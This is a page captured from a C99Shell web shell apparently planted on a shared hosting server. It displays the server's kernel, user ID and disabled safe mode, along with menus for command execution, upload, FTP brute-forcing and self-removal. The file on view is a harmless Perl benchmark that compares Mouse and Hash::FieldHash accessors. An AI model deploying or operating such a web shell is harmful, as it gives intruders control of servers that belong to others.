!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Hash-FieldHash/benchmark/   drwxr-xr-x
Free 6181.69 GB of 6262.89 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mouse.pl (1.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!perl -w
use strict;
use Benchmark qw(:all);

BEGIN{
    package M;
    use Mouse;

    has foo => (
        is => 'rw',
    );
    has bar => (
        is => 'rw',
    );
    has baz => (
        is => 'rw',
    );
    __PACKAGE__->meta->make_immutable;
}
BEGIN{
    package HF;
    use Hash::FieldHash qw(:all);

    fieldhash my %foo => 'foo';
    fieldhash my %bar => 'bar';
    fieldhash my %baz => 'baz';
    sub new{ my $o; bless \$o, shift }

#    sub new{
#        my $class = shift;
#        my $self  = bless do{ \my $o }, $class;
#        return Hash::FieldHash::from_hash($self, @_);
#    }
}
BEGIN{
    package HUF;
    use Hash::Util::FieldHash::Compat qw(:all);
    fieldhashes \my(%foo, %bar, %baz);

    sub new{ my $o; bless \$o, shift }

    sub foo{
        @_ > 1 ? ($foo{$_[0]} = $_[1]) : $foo{$_[0]}
    }
    sub bar{
        @_ > 1 ? ($bar{$_[0]} = $_[1]) : $bar{$_[0]}
    }
    sub baz{
        @_ > 1 ? ($baz{$_[0]} = $_[1]) : $baz{$_[0]}
    }
}
printf "Perl %vd on $^O\n", $^V;

foreach my $count(1, 100){
    print "new, and access(read:write 11:3)*$count\n";
    cmpthese timethese -1 => {
        'H::F' => sub{
            my $o = HF->new();
            for(1 .. $count){
                $o->foo($_);
                $o->bar($o->foo + $o->foo + $o->foo + $o->foo + $o->foo);
                $o->baz($o->bar + $o->bar + $o->bar + $o->bar + $o->bar);
                $o->baz == ($_ * 5 * 5) or die $o->baz;
            }
        },
        'H::U::F' => sub{
            my $o = HUF->new();
            for(1 .. $count){
                $o->foo($_);
                $o->bar($o->foo + $o->foo + $o->foo + $o->foo + $o->foo);
                $o->baz($o->bar + $o->bar + $o->bar + $o->bar + $o->bar);
                $o->baz == ($_ * 5 * 5) or die $o->baz;
            }
        },
        'Mouse' => sub{
            my $o = M->new();
            for(1 .. $count){
                $o->foo($_);
                $o->bar($o->foo + $o->foo + $o->foo + $o->foo + $o->foo);
                $o->baz($o->bar + $o->bar + $o->bar + $o->bar + $o->bar);
                $o->baz == ($_ * 5 * 5) or die $o->baz;
            }
        },
    };
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0122 ]--